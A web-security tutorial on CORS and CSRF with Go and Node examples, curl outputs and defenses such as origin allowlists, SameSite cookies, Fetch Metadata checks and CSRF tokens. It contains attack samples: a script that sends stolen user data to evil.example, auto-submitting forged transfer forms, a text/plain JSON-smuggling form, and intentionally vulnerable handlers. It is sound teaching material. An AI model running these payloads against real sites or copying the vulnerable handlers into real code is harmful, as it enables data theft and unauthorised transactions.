CORS & CSRF

The 30-second version

Two true-to-life stories, both from the same afternoon.

Story 1. Priya's new frontend at https://app.shop.example calls her API at https://api.shop.example. The browser console turns red:

Access to fetch at 'https://api.shop.example/me' from origin 'https://app.shop.example'
has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present
on the requested resource.

She finds a Stack Overflow answer, makes the API echo back whatever Origin it receives (the Origin header names the page making the request; §02) and adds Access-Control-Allow-Credentials: true ("…even when cookies were sent"; §05). The error goes away. She has also just let every website on the internet read her logged-in users' data from the API (§06 shows exactly how).

Story 2. Sam is logged in to his bank in one tab. In another tab he opens a forum post. The post contains a hidden form that submits itself to https://bank.example/transfer. Sam's browser attaches his bank cookie to that request, like it does to every request to the bank, and the bank sees a normal, logged-in transfer. That's CSRFCSRF (cross-site request forgery)Tricking a logged-in user's browser into sending a request to your site from another site; the browser attaches the user's cookies, so the request looks legitimate., and it worked without anyone reading anything.

The map of this page

Every browser behavior on this page was checked in a real browser (headless Chromium 153) against small Go servers, and every code sample was run with Go 1.24/1.26 and Node 22. Where browsers differ, the text says so.

Origins and sites, precisely

Take one URL apart:

https://app.shop.example:8443/cart/items?sort=price#top
└─┬─┘   └──────┬───────┘ └┬─┘└──────────────┬───────────┘
scheme       host        port     path, query, fragment — NOT part of the origin

The origin of that URL is https://app.shop.example:8443. When the port is the scheme's default (443 for https, 80 for http), it's left out: https://shop.example and https://shop.example:443 are the same origin.

That fifth row is why almost every developer meets CORS on day one: the frontend dev server and the API run on different ports, so they're different origins.

The browser tells the server the origin

When a page calls fetch() on another origin, or submits a POST (form or fetch) anywhere, the browser adds an Origin headerHTTP headerA Name: value line sent before the body of an HTTP request or response, carrying metadata — Content-Type: application/json, Authorization: Bearer …, Cache-Control: max-age=60. naming the page's origin: Origin: https://app.shop.example. Page scripts can't change or remove it. (Plain <img>/<script> loads and link clicks usually don't carry it.) §04 and §09 rely on this header.

A wider circle: the site

Cookies use a looser grouping called a siteSite (same-site)A wider grouping than an origin: the scheme plus the registrable domain — the part you buy from a registrar, like example.com or example.co.uk. app.example.com and api.example.com are different origins but the same site. Cookies' SameSite rule uses sites, not origins.: the scheme plus the registrable domain, the part someone actually registered. For https://app.shop.example, the registrable domain is shop.example, so the site is https://shop.example. Ports don't count for sites.

How does the browser know that shop.example is the registered part, but for alice.github.io it's the whole alice.github.io? It looks the ending up in the Public Suffix ListPublic Suffix ListA list, maintained by Mozilla and used by all browsers, of domain endings under which anyone can register a name: com, co.uk, github.io, vercel.app… It's how a browser knows that alice.github.io and bob.github.io are two different sites, not one.. github.io is on that list, so every user's page under it is its own site. (Engineers call the registrable domain eTLD+1: the "effective top-level domain", like co.uk or github.io, plus one more label.)

Try your own pairs. The checker uses a small built-in copy of the Public Suffix List (the real one has about 10,000 entries).

The same-origin policy: send yes, read no

This surprises almost everyone. Let's see why it has to be this way.

Why reading is the thing to protect

You're logged in to bank.example. Its pages and API answers contain your balance, your address, your messages. They were made for you, because your cookie came along with the request.

Now you open evil.example in another tab. If its JavaScript could do fetch("https://bank.example/api/me") and read the answer, it would get your private data, served with your cookie. The same-origin policy is the rule that makes that fetch fail.

Why sending can't be blocked

The web was built on pages that pull in things from other sites: images from a CDNCDNContent Delivery Network: servers spread around the world that keep copies of your files close to users, so they're served from a nearby city instead of your origin server., a script from a library host, a form that posts to a payment provider, a link to anywhere. All of these are cross-origin requests, and they existed years before anyone worried about it. Blocking them would break most of the web.

So browsers kept them, with one limit: the page that started the request can't look inside the answer. An image from another site is shown to the user, but the page's JavaScript can't read its pixels. A form posts to another site, and the tab navigates there; the original page is gone.

Pick an action that evil.example can take against bank.example, where you're logged in:

<form method="POST" action="https://bank.example/transfer">…</form>
<script>form.submit()</script>

The pattern in the widget is the whole topic in miniature:

• Request sent? Almost always yes. The bank's server receives it and runs its code.
• Cookies attached? Historically yes, always. Today the SameSite cookie flag (§08) holds some back.
• Can the script read the answer? No, unless the bank opts in with CORS (§04).

CORS: simple requests and preflights

The simplest case: one header

https://app.shop.example runs fetch("https://api.shop.example/products"). The browser sends:

GET /products HTTP/1.1
Host: api.shop.example
Origin: https://app.shop.example          ← added by the browser
Sec-Fetch-Site: same-site                 ← also added (§09)

If the response contains an Access-Control-Allow-OriginAccess-Control-Allow-OriginThe CORS response header that says which origin may read this response: one exact origin (https://app.example.com) or * for “anyone, without cookies”. If it's missing or doesn't match, the browser hides the response from the page's JavaScript. header that matches, the page gets the body:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://app.shop.example   ← "this origin may read me"
Content-Type: application/json

[{"id":1,"name":"Mug"}]

If the header is missing or names a different origin, the browser throws the response away. Your code sees only a generic TypeError: Failed to fetch, and the console shows the real reason. This is the exact text from Chromium 153 when our test API sent no CORS header:

Access to fetch at 'https://bank.test:8443/api/me?cors=none' from origin 'https://evil.test:8443'
has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the
requested resource.

Access-Control-Allow-Origin: * means "any origin may read this", which is fine for truly public data (a public product catalog, open-source fonts), but only for requests without cookies. §05 covers what changes when cookies are involved.

Simple requests vs preflighted requests

Some cross-origin requests could already be sent by a plain HTML <form> or <img> long before CORS existed. The browser sends those straight away. They're called simple requestsSimple request (CORS)A cross-origin request a plain HTML form could already send: method GET, HEAD or POST, only basic headers, and a Content-Type of form data or text/plain. Browsers send it straight away, with no preflight.:

• method is GET, HEAD or POST, and
• the only headers the page sets are basic ones (Accept, Accept-Language, Content-Language, Content-Type), and
• Content-Type, if set, is application/x-www-form-urlencoded, multipart/form-data or text/plain.

Anything else could never be sent by a form, so the server might not expect it from another site. For those, the browser first asks permission with a preflightPreflight requestAn automatic OPTIONS request the browser sends before certain cross-origin calls, asking the API “may I?”. It carries no cookies or Authorization header.: an automatic OPTIONSOPTIONS (HTTP method)An HTTP method that asks a server what is allowed on a URL, without changing anything. Browsers send it automatically as the CORS preflight. request describing the real one. (OPTIONS is an HTTP method that asks "what may I do here?" and changes nothing.) Very common triggers:

Step through three cases. Watch the on the wire panel: in the denied case, the real PUT is never sent at all.

1// page on https://app.shop.example
2const url = "https://api.shop.example/products";
3const res = await fetch(url);
4const products = await res.json();
5render(products);

The CORS headers, in one table

Credentials, Vary, and a correct CORS handler

Cookies on cross-origin fetch: opt in on both sides

By default fetch() attaches cookies only to same-origin requests. For a cross-origin API that uses a login cookie, the page must ask:

const res = await fetch("https://api.shop.example/me", {
  credentials: "include", // ← send cookies to another origin too
});

Now the browser attaches the credentialsCredentials (fetch)Things the browser attaches automatically to prove who you are: cookies, HTTP Basic auth, TLS client certificates. fetch() sends them cross-origin only with credentials: "include" — and the page may then read the answer only if the server replies with Access-Control-Allow-Credentials: true., and becomes stricter about the answer. We tried each wrong server answer in Chromium 153; these are the real console messages:

The ban on * is deliberate: "any website may read this user's private data" is never what you mean. You have to name each origin you trust.

Vary: Origin, or how a cache serves the wrong answer

Since the server now echoes a different Access-Control-Allow-Origin depending on who asks, the response depends on the Origin request header. A CDNCDNContent Delivery Network: servers spread around the world that keep copies of your files close to users, so they're served from a nearby city instead of your origin server. or other shared cache doesn't know that unless you say so. Without it, the cache can store the answer made for app.shop.example and hand it to admin.shop.example, whose browser then rejects it. That's a random-looking CORS failure that only happens in production.

The fix is one header: Vary: OriginVary headerAn HTTP response header naming request headers that change the response, e.g. Vary: Accept-Encoding. Shared caches then store a separate copy for each value of those headers., which tells caches "store one copy per Origin value". Send it on every response from a CORS-enabled route, including ones where the origin wasn't allowed. Otherwise a cached "no CORS headers" answer can be served to an allowed origin.

A correct handler

Here's a small CORS MiddlewareMiddlewareA function that wraps an HTTP handler to run code before and/or after it — logging, auth, limits — without changing the handler itself. with an exact allowlist. It answers preflights itself and passes everything else on.

package main

import (
	"fmt"
	"log"
	"net/http"
)

// Exact origins we trust: scheme + host + port. No patterns, no "*".
var allowedOrigins = map[string]bool{
	"https://app.shop.example": true,
}

func cors(next http.Handler) http.Handler {
	return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		w.Header().Add("Vary", "Origin") // ← the answer depends on Origin; tell caches
		origin := r.Header.Get("Origin")
		ok := allowedOrigins[origin] // missing key → false
		if ok {
			w.Header().Set("Access-Control-Allow-Origin", origin) // echo ONE trusted origin
			w.Header().Set("Access-Control-Allow-Credentials", "true")
		}
		// A preflight is an OPTIONS request that carries Access-Control-Request-Method.
		if r.Method == http.MethodOptions && r.Header.Get("Access-Control-Request-Method") != "" {
			if ok {
				w.Header().Set("Access-Control-Allow-Methods", "GET, POST, PUT, DELETE")
				w.Header().Set("Access-Control-Allow-Headers", "Content-Type")
				w.Header().Set("Access-Control-Max-Age", "600") // cache this answer 10 min
			}
			w.WriteHeader(http.StatusNoContent) // answer the preflight; never run the handler
			return
		}
		next.ServeHTTP(w, r)
	})
}

func main() {
	mux := http.NewServeMux()
	mux.HandleFunc("GET /api/me", func(w http.ResponseWriter, r *http.Request) {
		w.Header().Set("Content-Type", "application/json")
		fmt.Fprintln(w, `{"user":"ada"}`)
	})
	log.Fatal(http.ListenAndServe("localhost:8080", cors(mux)))
}

Here's what the Go version answers. These are real curl -i outputs (Date lines removed). curlcurlA command-line HTTP client. curl -v prints the exact request and response headers; curl -I fetches headers only; --http2 / --http3 pick a version. lets us set any Origin header we like, which is itself a lesson:

$ curl -i -X OPTIONS localhost:8080/api/me -H 'Origin: https://app.shop.example' \
       -H 'Access-Control-Request-Method: PUT' -H 'Access-Control-Request-Headers: content-type'
HTTP/1.1 204 No Content
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: Content-Type
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Origin: https://app.shop.example
Access-Control-Max-Age: 600
Vary: Origin

$ curl -i -X OPTIONS localhost:8080/api/me -H 'Origin: https://evil.example' \
       -H 'Access-Control-Request-Method: PUT'
HTTP/1.1 204 No Content
Vary: Origin                                  ← no Allow-* headers: the browser will refuse

$ curl -i localhost:8080/api/me -H 'Origin: https://evil.example'
HTTP/1.1 200 OK
Content-Type: application/json
Vary: Origin
Content-Length: 15

{"user":"ada"}                                ← curl reads it anyway

Look at the last one. With an "untrusted" origin, the server still ran the handler and returned the data. Curl doesn't care about CORS headers; only browsers do. CORS protects your users' browsers from other websites. It does nothing against someone calling your API directly. That needs real AuthenticationAuthentication (AuthN)Proving who someone is — checking a password, a passkey or a code from an app. Answers “who are you?”. and AuthorizationAuthorization (AuthZ)Deciding what an already-identified user is allowed to do — “can user 42 read order 17?”. Answers “are you allowed?”.. §06 builds on this.

Cookies across sites: SameSite and third-party cookies

credentials: "include" asks the browser to attach cookies, but the cookie's own SameSite flag (fully explained in §08) can still hold it back:

• Frontend and API on the same site (app.shop.example → api.shop.example): the request is same-site, so a normal SameSite=Lax cookie is sent. This is the easy setup.
• Different sites (shop-frontend.example → api.shop.example): the cookie needs SameSite=None; Secure, and it's now a third-party cookieThird-party cookieA cookie sent with a request to a different site than the one in the address bar — e.g. bank.example's cookie on an image loaded by news.example. Safari blocks them and Firefox partitions them by default; that also changes CORS-with-cookies setups.. Safari blocks those by default and Firefox keeps them in a separate jar per top-level site, so the login "works on my Chrome" and fails for others. (Our headless Chromium 153 did send SameSite=None cookies cross-site; Google dropped its plan to block them by default, but don't build on that.)

The design lesson, expanded in §11: put your API on the same site as your frontend, or better, behind the same origin (https://shop.example/api/… through a Reverse proxyReverse proxyA proxy that sits in front of your servers (nginx, Envoy, a cloud load balancer): clients connect to it, and it forwards each request to one of your backends.). Then you need no CORS at all.

CORS misconfigurations, and why CORS isn't access control

Here's the attack in one picture. A user who is logged in to api.shop.example visits evil.example. Its script runs:

const res = await fetch("https://api.shop.example/me", { credentials: "include" });
await fetch("https://evil.example/collect", { method: "POST", body: await res.text() });

If api.shop.example answers with Access-Control-Allow-Origin: https://evil.example and Access-Control-Allow-Credentials: true, the browser hands the user's private data to the attacker's script, which sends it home. We ran exactly this in Chromium against a test API that echoed the Origin: the script printed READ OK {"user":"ada","balance":1000}.

Pick a server policy, then an attacker, and see whether the attacker can read a logged-in user's data:

echo whatever Origin arrived
+ Allow-Credentials: true

The five classic mistakes

// ✕ VULNERABLE: trusts every website
o := r.Header.Get("Origin")
w.Header().Set("Access-Control-Allow-Origin", o)
w.Header().Set("Access-Control-Allow-Credentials", "true")

// ✓ exact allowlist (full version in §05)
o := r.Header.Get("Origin")
if allowedOrigins[o] {
	w.Header().Set("Access-Control-Allow-Origin", o)
	w.Header().Set("Access-Control-Allow-Credentials", "true")
}

"https://evilexample.com".endsWith("example.com")             // true  ✕ attacker registers evilexample.com

const re = /^https:\/\/[a-z0-9-]+\.example.com/;               // dot not escaped, no $ at the end
re.test("https://app.example.com.evil.net")                    // true  ✕ attacker's own domain
re.test("https://app.examplezcom.net")                         // true  ✕ "." matches any character

const fixed = /^https:\/\/[a-z0-9-]+\.example\.com$/;          // escaped dot, anchored end
fixed.test("https://app.example.com.evil.net")                 // false ✓

What CORS can never do

CSRF: the forged letter

The mailroom is your browser; the badge is your cookieCookieA small name=value string a server asks the browser to store (with a Set-Cookie response header). The browser then sends it back on every later request to that site in a Cookie header — that's how a stateless protocol remembers you're logged in.. The browser attaches cookies based on where the request is going, not on which page started it. That's the whole bug.

The attack, step by step

1. Sam logs in to bank.example. The bank sets session=s3cr3t as a cookie.
2. Later, Sam opens a page on evil.example (a forum post, an ad, a link in an email).
3. That page contains a hidden form that submits itself:

<form id="f" method="POST" action="https://bank.example/transfer">
  <input type="hidden" name="to" value="mallory">
  <input type="hidden" name="amount" value="500">
</form>
<script>document.getElementById("f").submit();</script>

4. Sam's browser sends POST https://bank.example/transfer and, being helpful, attaches Cookie: session=s3cr3t.
5. The bank looks up the session, finds Sam, and moves the money.

The attacker never saw Sam's cookie, never read a response, and didn't need CORS. A form POST is a simple requestSimple request (CORS)A cross-origin request a plain HTML form could already send: method GET, HEAD or POST, only basic headers, and a Content-Type of form data or text/plain. Browsers send it straight away, with no preflight. (§04): it goes out without asking anyone.

Here's the bank's handler. It's what most of us would write first:

var sessions = map[string]string{"s3cr3t": "sam"} // session ID → user, filled at login

func transfer(w http.ResponseWriter, r *http.Request) {
	c, err := r.Cookie("session")
	if err != nil || sessions[c.Value] == "" {
		http.Error(w, "not logged in", http.StatusUnauthorized)
		return
	}
	// ✕ The cookie proves WHO the browser belongs to. Not that the user MEANT to do this.
	fmt.Fprintf(w, "sent %s to %s for %s\n", r.FormValue("amount"), r.FormValue("to"), sessions[c.Value])
}
// registered with: mux.HandleFunc("POST /transfer", transfer)

Simulating the browser's forged request with curl, against both servers (real output):

$ curl localhost:8080/transfer -b session=s3cr3t -d to=mallory -d amount=500 \
       -H 'Origin: https://evil.example'
sent 500 to mallory for sam

The Origin: https://evil.example header was right there, and the handler never looked at it. Now try it in the lab. For now, leave every defense off and launch the attack:

<form method="POST" action="https://bank.example/transfer">
  <input name="to" value="mallory"><input name="amount" value="500">
</form><script>form.submit()</script>

This lab starts with the cookie set to SameSite=None, which is how every cookie behaved before 2020. §08 shows what the newer settings change.

Which apps are at risk?

Any endpoint that changes something and identifies the user by something the browser attaches automatically:

• session cookies (the common case),
• HTTP Basic auth the browser remembered,
• TLS client certificates,
• "you're on the office network, so you're trusted" (the request comes from the victim's machine, inside the network).

Not at risk (by this attack): APIs where your own JavaScript adds Authorization: Bearer … to each request. The browser never adds that header on its own, so a forged request arrives without it. That has its own trade-off, covered in §11.

SameSite cookies: the first wall

You set it where you set the cookie (the other flags are explained in AuthN & AuthZ → Sessions and cookie flags):

Set-Cookie: session=s3cr3t; Path=/; Secure; HttpOnly; SameSite=Lax

http.SetCookie(w, &http.Cookie{
	Name: "session", Value: sid, Path: "/",
	Secure: true, HttpOnly: true,
	SameSite: http.SameSiteLaxMode, // ← or http.SameSiteStrictMode
})

The three values, measured

"Another site" means cross-site in the sense of §02: a different registrable domain (or scheme). We logged in to a test bank at https://bank.test, which set four cookies, one per setting. Then pages on https://evil.test (a different site) and https://app.bank.test (same site, different origin) made requests to the bank. This is what Chromium 153 attached:

How to read it:

• Strict: never sent on anything another site starts, not even when the user clicks a normal link to you.
• Lax: held back on cross-site background requests (images, iframes, fetch) and cross-site POSTs, but sent on a top-level navigationTop-level navigationWhen the whole browser tab moves to a new URL — clicking a link, submitting a form, location = …. As opposed to a page quietly loading an image, script or iframe in the background. with a safe method like GET, so clicking a link to your site from an email still arrives logged in.
• None: sent everywhere, like cookies before 2020. Browsers require Secure with it (cookies marked SameSite=None without Secure are rejected).

Flip the cookie setting in the lab and replay the attacks:

<form method="POST" action="https://bank.example/transfer">
  <input name="to" value="mallory"><input name="amount" value="500">
</form><script>form.submit()</script>

Lax is the default… in some browsers

A cookie with no SameSite attribute is treated as Lax by Chrome and Edge (since 2020). At the time of writing, Firefox and Safari don't do this by default. And Chrome has one exception, visible in the last column above: for a cookie with no SameSite attribute that was set less than two minutes ago, cross-site top-level POSTs still carry it, so that some login flows that POST back to your site don't break. We waited two minutes and repeated the forged form; the cookie was no longer sent.

Always set SameSite explicitly. Never rely on the default.

Where SameSite doesn't protect you

So SameSite=Lax (or Strict) is a strong first layer, which you should always have. For anything that matters, add a server-side check that doesn't depend on the cookie: §09. That's Defense in depthDefense in depthLayering several independent protections, so that when one fails (and one will) the others still stop or limit the attack..

Server-side defenses: Fetch Metadata, Origin, tokens

There are two ways to know that:

1. Ask the browser who started it. Modern browsers stamp every request with headers that page scripts can't forge: Origin (§02) and Fetch MetadataFetch Metadata (Sec-Fetch-*)Request headers that current browsers add to requests for HTTPS (and localhost) URLs, and that page scripts can't change — over plain HTTP they're missing: Sec-Fetch-Site says who started the request (same-origin, same-site, cross-site, or none = the user typed it), Sec-Fetch-Mode and Sec-Fetch-Dest say how and for what., especially Sec-Fetch-Site.
2. Require a secret only your pages know: a CSRF tokenCSRF tokenA random secret the server puts into its own pages (a hidden form field or a meta tag) and requires back on every state-changing request. Another site can't read your pages, so it can't learn the token and can't forge the request.. The attacker's page can send requests, but it can't read your pages (§03), so it can't learn the token.

Defense 1: Fetch Metadata + Origin

Sec-Fetch-Site has four values. These are what our test server logged from Chromium 153 for the attacks in §07–§08:

The rule is short: for unsafe methods (anything but GET, HEAD, OPTIONS), allow same-origin and none; reject the rest.

There's a catch: browsers only send Fetch Metadata to HTTPS URLs (and localhost). Every current browser has done so since 2023. Over plain HTTP (an intranet app on http://wiki.corp.internal, an HTTP staging host), and in old browsers, Sec-Fetch-Site is simply missing; Chromium 153 sent none on a plain-HTTP cross-site form POST. So the check needs a fallback: compare the Origin header's host with the request's Host headerHost headerThe request header naming the domain (and port) the browser thinks it's talking to, e.g. Host: bank.example. Every HTTP/1.1 request has one; CSRF checks compare it with the Origin header. Proxies must pass the original value through. (the domain the browser thinks it's talking to). Browsers do send Origin on every POST, over HTTP too. Requests with neither header aren't from a browser page (curl, another server), and CSRF needs a browser, so they pass through to your normal login checks.

Go has this built in since Go 1.25: http.CrossOriginProtection. In Node you write the same dozen lines yourself:

func main() {
	mux := http.NewServeMux()
	mux.HandleFunc("POST /transfer", transfer) // the vulnerable handler from §07, unchanged

	cop := http.NewCrossOriginProtection() // Go 1.25+
	// Another origin of yours that may POST here (exact origin, no path):
	if err := cop.AddTrustedOrigin("https://admin.bank.example"); err != nil {
		log.Fatal(err)
	}
	log.Fatal(http.ListenAndServe("localhost:8080", cop.Handler(mux))) // ← wrap everything
}

We put the Go version in front of the vulnerable transfer handler from §07 and replayed the browser's headers with curl, on Go 1.26. Real responses (other headers trimmed):

$ curl -i localhost:8080/transfer -b session=s3cr3t -d to=mallory -d amount=500 \
       -H 'Sec-Fetch-Site: cross-site' -H 'Origin: https://evil.example'
HTTP/1.1 403 Forbidden
cross-origin request detected from Sec-Fetch-Site header

$ curl -i localhost:8080/transfer … -H 'Origin: https://evil.example'      # old browser: no Sec-Fetch-Site
HTTP/1.1 403 Forbidden
cross-origin request detected, and/or browser is out of date: Sec-Fetch-Site is missing, and Origin does not match Host

$ curl -i localhost:8080/transfer … -H 'Sec-Fetch-Site: same-site' -H 'Origin: https://app.bank.example'
HTTP/1.1 403 Forbidden                                                    # stricter than SameSite!
cross-origin request detected from Sec-Fetch-Site header

$ curl -i localhost:8080/transfer … -H 'Sec-Fetch-Site: same-origin'
HTTP/1.1 200 OK
sent 500 to mallory for sam

$ curl -i localhost:8080/transfer … -H 'Origin: null'                     # sandboxed iframe, no Sec-Fetch-Site
HTTP/1.1 403 Forbidden
cross-origin request detected, and/or browser is out of date: Sec-Fetch-Site is missing, and Origin does not match Host

And the Node version above, run exactly as printed, with the hostile inputs that would crash a naive new URL(origin) (real output, Date/Connection headers trimmed; the process keeps running):

$ curl -i -X POST localhost:8080/transfer -H 'Origin: null'
HTTP/1.1 403 Forbidden
malformed or opaque Origin header

$ curl -i -X POST localhost:8080/transfer -H 'Origin: %%not a url'
HTTP/1.1 403 Forbidden
malformed or opaque Origin header

$ curl -i -X POST localhost:8080/transfer -H 'Origin: http://localhost:8080'   # matches Host
HTTP/1.1 200 OK
content-type: text/plain

ok

Note the third Go result: unlike SameSite, this check works on origins, so a hostile sibling subdomain is blocked too. Try the decision yourself:

1function crossOriginCheck(req) {
2  if (SAFE_METHODS.has(req.method)) return null;
3  const origin = req.headers.origin;
4  if (origin && trustedOrigins.has(origin)) return null;
5  const site = req.headers["sec-fetch-site"];
6  if (site) {
7    const ok = site === "same-origin" || site === "none";
8    return ok ? null : "cross-origin (Sec-Fetch-Site)";
9  }
10  if (!origin) return null;
11  let host;
12  try { host = new URL(origin).host; }
13  catch { return "malformed or opaque Origin"; }
14  return host === req.headers.host ? null : "Origin ≠ Host";
15}

Defense 2: a CSRF token

The classic defense, and the one most frameworks (Django, Rails, Laravel, Spring) ship by default. It's called the synchronizer token pattern:

1. At login, generate a random token with a CSPRNGCSPRNGA cryptographically secure random number generator — Go's crypto/rand, JS's crypto.getRandomValues — whose output attackers can't predict. Math.random and math/rand are not. and store it in the session, on the server.
2. Put it in every page you render: a hidden form field, or a <meta> tag your JavaScript reads.
3. On every unsafe request, require it back (form field or an X-CSRF-Token header) and compare it with the session's copy.

// 1. At login (crypto/rand.Text is Go 1.24+: 26 random characters)
sess.CSRF = rand.Text()

// 2. In the html/template (it inserts the CSRF field, HTML-escaped):
//    <input type="hidden" name="csrf" value="{{.CSRF}}">

// 3. On every POST/PUT/PATCH/DELETE (crypto/subtle):
func validCSRF(got, want string) bool {
	return want != "" && subtle.ConstantTimeCompare([]byte(got), []byte(want)) == 1
}

if !validCSRF(r.FormValue("csrf"), sess.CSRF) {
	http.Error(w, "bad CSRF token", http.StatusForbidden)
	return
}

We used a constant-time comparisonConstant-time comparisonComparing secrets (tokens, signatures) in a way that takes the same time whether the first or the last byte differs, so attackers can't guess them byte by byte from timing. so an attacker can't learn the token byte by byte from response timings. Both validCSRF functions were tested: they return true only for the exact token, and false for an empty, missing or wrong one (including when the session has no token, the want != "" part).

A stateless variant, the double-submit cookieDouble-submit cookieA CSRF defense that keeps no server state: the token is stored in a cookie AND sent in a header or form field; the server checks they match. Safe only when the token is signed (HMAC) and tied to the session, because a sibling subdomain can sometimes plant cookies., puts the token in a cookie as well as in the form, and checks the two match. Plain double-submit is weak, because a sibling subdomain can sometimes set cookies for your domain. If you use it, make the token signed and tied to the session: token = random + "." + HMAC(serverKey, sessionID + "." + random) (an HMACHMACA way to compute a MAC (a tamper-proof tag) from a message and a shared secret using a hash function such as SHA-256. Same message + same secret always gives the same tag; change one byte of either and the tag changes completely.). On each request the server recomputes the HMAC from the session ID and the random part and compares it in constant time; a cookie planted by a subdomain can't carry a valid signature for this user's session. Also name the cookie with the __Host- prefix__Host- cookie prefixIf a cookie's name starts with __Host-, browsers accept it only when it is Secure, has Path=/ and has no Domain attribute. That pins it to exactly one host, so a sibling subdomain can't plant or overwrite it. so subdomains can't overwrite it.

Now turn the defenses on in the lab, one at a time, and see which attacks each one stops:

<form method="POST" action="https://bank.example/transfer">
  <input name="to" value="mallory"><input name="amount" value="500">
</form><script>form.submit()</script>

Which should I use?

JSON APIs, login CSRF and other edge cases

"My API only takes JSON, so forms can't attack it"

The reasoning: a real JSON request needs Content-Type: application/json, which triggers a preflight (§04), which CORS refuses. True, if your server insists on that content type. But a form can send enctype="text/plain", and with a little trick its body looks like JSON:

<form method="POST" enctype="text/plain" action="https://bank.example/api/transfer">
  <input name='{"to":"mallory","amount":500,"x":"' value='"}'>
</form>

A text/plain form sends name=value, so the browser glues the two halves around an =. We submitted this cross-site from Chromium 153. The bank received Content-Type: text/plain, the user's SameSite=None cookie, and this body (plus a trailing line break):

{"to":"mallory","amount":500,"x":"="}

That's valid JSON. Go's json.NewDecoder(r.Body).Decode(&t) and Node's JSON.parse both accept it happily, because neither looks at Content-Type. Check it yourself:

// Reject anything that isn't really JSON *before* decoding (mime package).
mt, _, err := mime.ParseMediaType(r.Header.Get("Content-Type"))
if err != nil || mt != "application/json" {
	http.Error(w, "Content-Type must be application/json", http.StatusUnsupportedMediaType)
	return
}

Tested with that forged body: without the check, both handlers sent the money; with it, the text/plain version gets 415 Unsupported Media Type and a real application/json; charset=utf-8 request still works. mime.ParseMediaType also strips ; charset=… and lowercases the type for you; the _ in mt, _, err discards the parameters it returns, which we don't need.

This check is a good extra layer, but keep §09's check as the main one. It's one config mistake away from being bypassed (a CORS policy that allows the attacker's origin also allows its preflight).

Login CSRF: forging the login

Login CSRFLogin CSRFForging a login: the attacker's page logs the victim into the ATTACKER's account. Anything the victim then types (a card number, a search history) lands in an account the attacker can read. sounds harmless ("the victim gets logged in? so what?"), but it's backwards: the attacker's page submits the attacker's own username and password to your login form. The victim is now silently logged in as the attacker. Whatever they do next (save a card, upload a document, search for something private) is stored in an account the attacker can read.

Defenses:

• Apply the §09 check to the login POST too. http.CrossOriginProtection covers it automatically if it wraps the whole mux; token schemes need a pre-login token, because there's no session yet.
• For "Sign in with Google/GitHub" (OAuth), the callback is a GET that the attacker can forge with their authorization code. The state parameterstate (OAuth parameter)A random value your app sends on the way out and checks on the way back, tied to the user's browser session. If it doesn't match, the response wasn't started by this user, which blocks login-CSRF. is the CSRF token for that flow. See AuthN & AuthZ → OAuth 2.0.

Smaller corners

Staff-level: design it away, then debug what's left

Cookies or bearer tokens?

The choice of where the credential lives decides which of these problems you have.

Note what XSS means in both columns: an attacker's script running in your page can make requests as the user either way. A cookie only stops it from taking the credential away to use later. That's why the common recommendation for browser apps is an HttpOnly, Secure, SameSite=Lax cookie plus a CSRF check. The token-in-JS design trades a problem you can fix with one middleware (CSRF) for one you can't fully fix (token theft). Details on the tokens themselves: AuthN & AuthZ.

The same-origin backend (BFF)

A Backend for frontendBackend for frontend (BFF)A thin server built for one client (the web app, the iOS app) that calls the other services and returns exactly what each screen needs in one response, so the client doesn't make dozens of calls. usually means "a backend shaped for one frontend". In security discussions it also means: the browser only ever talks to one origin, your BFF, which holds any access tokens server-side and forwards calls to the real APIs.

What you get: no CORS (same origin), no third-party cookies (§05), no tokens in JavaScript, and preflight cost goes to zero. In development, get the same shape with your dev server's proxy instead of a CORS config you'd then be tempted to ship:

import { defineConfig } from "vite";

export default defineConfig({
  server: {
    proxy: { "/api": "http://localhost:8080" }, // page at :5173 calls /api/… → same origin
  },
});

What preflights cost

A preflight is a full extra round trip before the real request. On a mobile connection with an 80 ms round trip, a page that saves 5 items with PUT /cart/items/1…/5 spends roughly 5 × 80 ms = 400 ms just asking permission if the saves run one after another (approximate; in parallel it's closer to one extra 80 ms, and connection reuse also matters).

• The cache is per URL, not per server. Access-Control-Max-Age caches one answer for one origin + URL pair, so /items/1 and /items/2 each get their own preflight.
• Max-Age is capped by the browser: per MDN, Chromium caps it at 2 hours and Firefox at 24 hours; without the header the answer is cached for 5 seconds.
• Don't dodge preflights by sending JSON as text/plain. That's exactly the shape a CSRF form can forge (§10). Fix the architecture (same origin) instead.

When the CDN or gateway breaks CORS

Most "CORS suddenly broke in production" incidents aren't about your allowlist at all:

Proxies also matter for CSRF checks: the Origin-vs-Host fallback (§09) fails every legitimate POST if a proxy rewrites Host to an internal name. Forward the original Host, or list your public origin with AddTrustedOrigin.

Proxies that don't forward OPTIONS, or route it to a handler that returns 404/405, break every preflight. So do auth checks that run before the preflight answer (§04).

Debugging CORS in DevTools

1. Console: read the whole message. It names the exact rule (missing header, wildcard with credentials, multiple values, preflight failed).
2. Network tab: find the request. Chrome shows CORS error in the Status column. If there was a preflight, there's a separate OPTIONS row (or a "Preflight" entry next to it). Check its status and response headers first.
3. Right-click → Copy as cURL, then replay it with -i to see the raw headers. Remember curl will show the body regardless (§05); you're comparing headers, not checking access.
4. Check the response, not the request: CORS is decided only by response headers. A request header you add on the client never fixes a CORS error.

Other cross-origin protections, briefly

• ClickjackingClickjackingLoading your real page inside an invisible frame on another site and tricking the user into clicking a button on it (“Win a prize!” sits exactly over “Delete account”). The click is real, so cookies and tokens don't help; refusing to be framed does.: another site loads your page in an invisible frame and lures the user into clicking your real buttons. The click is genuine, so cookies, SameSite and tokens all pass. Fix: refuse to be framed with Content-Security-Policy: frame-ancestors 'none' (or 'self'); add the older X-Frame-Options: DENY for old browsers. One header on every HTML response, e.g. w.Header().Set("Content-Security-Policy", "frame-ancestors 'none'") in Go or the setHeader equivalent in Node. See Content Security PolicyContent Security Policy (CSP)An HTTP response header that tells the browser which scripts, styles, images and frames a page may load or run — e.g. only scripts from your own origin. If an attacker injects a <script>, the browser refuses to run it. A second line of defense, not a replacement for escaping..
